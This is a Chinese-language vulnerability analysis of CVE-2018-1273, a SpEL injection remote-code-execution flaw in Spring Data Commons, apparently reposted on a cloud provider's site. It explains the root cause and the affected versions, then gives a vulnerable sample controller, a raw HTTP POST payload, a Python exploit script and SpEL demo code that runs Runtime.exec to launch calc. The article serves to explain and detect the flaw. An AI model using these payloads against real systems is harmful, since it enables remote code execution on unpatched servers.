溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Spring-data-commons CVE-2018-1273的漏洞分析是怎樣的

發(fā)布時間:2021-12-22 21:22:04 來源:億速云 閱讀:139 作者:柒染 欄目:安全技術(shù)

Spring-data-commons CVE-2018-1273的漏洞分析是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

前言

   CVE-2018-1273 是 Spring-data-commons近期爆出的一個可遠(yuǎn)程執(zhí)行代碼的漏洞,為了了解更多細(xì)節(jié),本文將從漏洞的成因,漏洞的判定以及漏洞的利用三個方面來進(jìn)行詳細(xì)說明。

漏洞的成因

當(dāng)用戶在項目中利用了Spring-data的相關(guān)web特性對用戶的輸入?yún)?shù)進(jìn)行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執(zhí)行內(nèi)容,而這一步就是本次漏洞的爆發(fā)點。

漏洞的判定

確認(rèn)目標(biāo)項目中含有Spring-data-commons包并且版本范圍如下

Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5

查看相關(guān)特性是否已經(jīng)開啟

1.@EnableSpringDataWebSupport 被顯示聲明

2.@EnableSpringDataWebSupport 沒有顯示聲明,但采用了spring-boot框架的自動掃描特性 當(dāng)采用Spring-boot的自動掃描特性的時候,在啟動時會自動加載 SpringDataWebConfiguration類效果與上述相同

3.在非注解聲明項目中,如果有如下聲明,也視為開啟了相關(guān)的特性

  <bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />

檢查帶@RequestMapping的接口,方法的參數(shù)為一個自定義的接口(Interface)

滿足如上條件的靶子代碼如下

  @SpringBootApplication
  public class App {
      public static void main(String[] args) {
          SpringApplication.run(App.class);
      }
      @Controller
      public class TestController {
          @RequestMapping("test")
          public void CVEController(TestForm testForm){
              System.out.println(testForm.getName());
          }
      }
      interface TestForm {
          String getName();
      }
  }

漏洞的利用

根據(jù)上述判定出來的漏洞點,我們可以構(gòu)造如下攻擊代碼

1.構(gòu)建一個Http的Post請求2.利用form表單提交的方式來提交我們的key value3.在key的名稱中包含此次攻擊代碼4.提交的key為上文的 getName() 方法的 name5.在name后面補(bǔ)上一段Spel支持的代碼片段,key將變成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]

最終playload如下

POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v

用python寫的簡單腳本如下

import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()

總而言之當(dāng)滿足漏洞條件時,只需要發(fā)送一個特定的key就可以了

Spring-data-commons漏洞被執(zhí)行的流程

本次漏洞的成因,主要在于Spring在自動解析用戶的參數(shù)的時候采用了 SpelExpressionParser 來解析propertyName

MapDataBinder.java 169行

  Expression expression = PARSER.parseExpression(propertyName);
  PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
  TypeInformation<?> owningType = leafProperty.getOwningType();
  TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());
  propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
  if (conversionRequired(value, propertyType.getType())) {
    PropertyDescriptor descriptor = BeanUtils
        .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
  }
  expression.setValue(context, value);

那么這個MapMapDataBinder是怎么被調(diào)用起來的呢,我們簡要地說一下 SpringMVC在解析參數(shù)這個部分

SpringDataWebConfiguration 類的特性被啟用的時候,會將 ProxyingHandlerMethodArgumentResolver 注冊到容器中去

當(dāng)SpringMVC得到一個請求的時候,會遍歷容器中注冊的 HandlerMethodArgumentResolver 調(diào)用他們的supportsParameter方法。由于我們的參數(shù)是一個Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就會告訴調(diào)用方,它支持這個參數(shù)的解析即 supportsParameter 會返回true,但在實際中還會有多個判斷比如該接口不能是java包下的,也不能是org.springframework包下的

ProxyingHandlerMethodArgumentResolver在拿到參數(shù)的時候會創(chuàng)建一個MapDataBinder來解析參數(shù)MapDataBinder.bind()方法,會連帶進(jìn)行doBind操作,最終會調(diào)用到 setPropertyValue 方法來,最后在 expression.setValue(context, value) 的時候觸發(fā)了漏洞

關(guān)于Spring的Spel

SPEL全稱Spring Expression Language,簡要翻譯就是Spring自帶的表達(dá)式語言,如代碼所示Spring提供以下特性

  public class SpelExample {
  public static void main(String[] args) {
      SpelExample spelExample=new SpelExample();
      spelExample.supportValue();
      spelExample.supportClassMethod();
      spelExample.supportProperty();
      spelExample.supportArray();
      spelExample.supportCustomIndex();
      spelExample.supportCustomProperty();
      spelExample.runPlayLoad();
  }
  /*
  * 支持一個值
  * */
  public void supportValue(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("'this is a value'");
      System.out.println(exp.getValue()); // this is a value
  }
  /*
      支持執(zhí)行一個java類的方法
   */
  public void supportClassMethod(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
      System.out.println(exp.getValue());//返回一個隨機(jī)數(shù)
  }
  /*
  * 支持對目標(biāo)對象進(jìn)行賦值
  * */
  public void supportProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("name='set my value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.name); //set my value
  }
  /**
   * 如果屬性是一個數(shù)組也支持
   * */
  public void supportArray(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //T(java.lang.Math.abs(0)) 會返回0
      Expression exp = parser.parseExpression("list[0]='list value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//list value
  }
  /**
   * 數(shù)組的下標(biāo)也是可以利用表達(dá)式求得
   * 注釋:這里就是惡意代碼能執(zhí)行的關(guān)鍵
   * */
  public void supportCustomIndex(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//index is 0
  }
  /*
  * 也可以獲取一個數(shù)組屬性的指定下標(biāo)的值
  * 這里就是上述漏洞利用的地方
  * */
  public void supportCustomProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //獲取目標(biāo)對象list屬性中下標(biāo)為1的值
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 輸出 1,
  }
  /**
   * 執(zhí)行我們的代碼,拉起計算器
   * */
  public void runPlayLoad(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //獲取目標(biāo)對象list屬性中下標(biāo)為1的值
      Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec(\"calc\")]]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 輸出 1,
  }
  class MockClass{
      //只有聲明為public才能被賦值
      public String name;
      public String[] list=new String[]{"0","1"};
  }
}

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI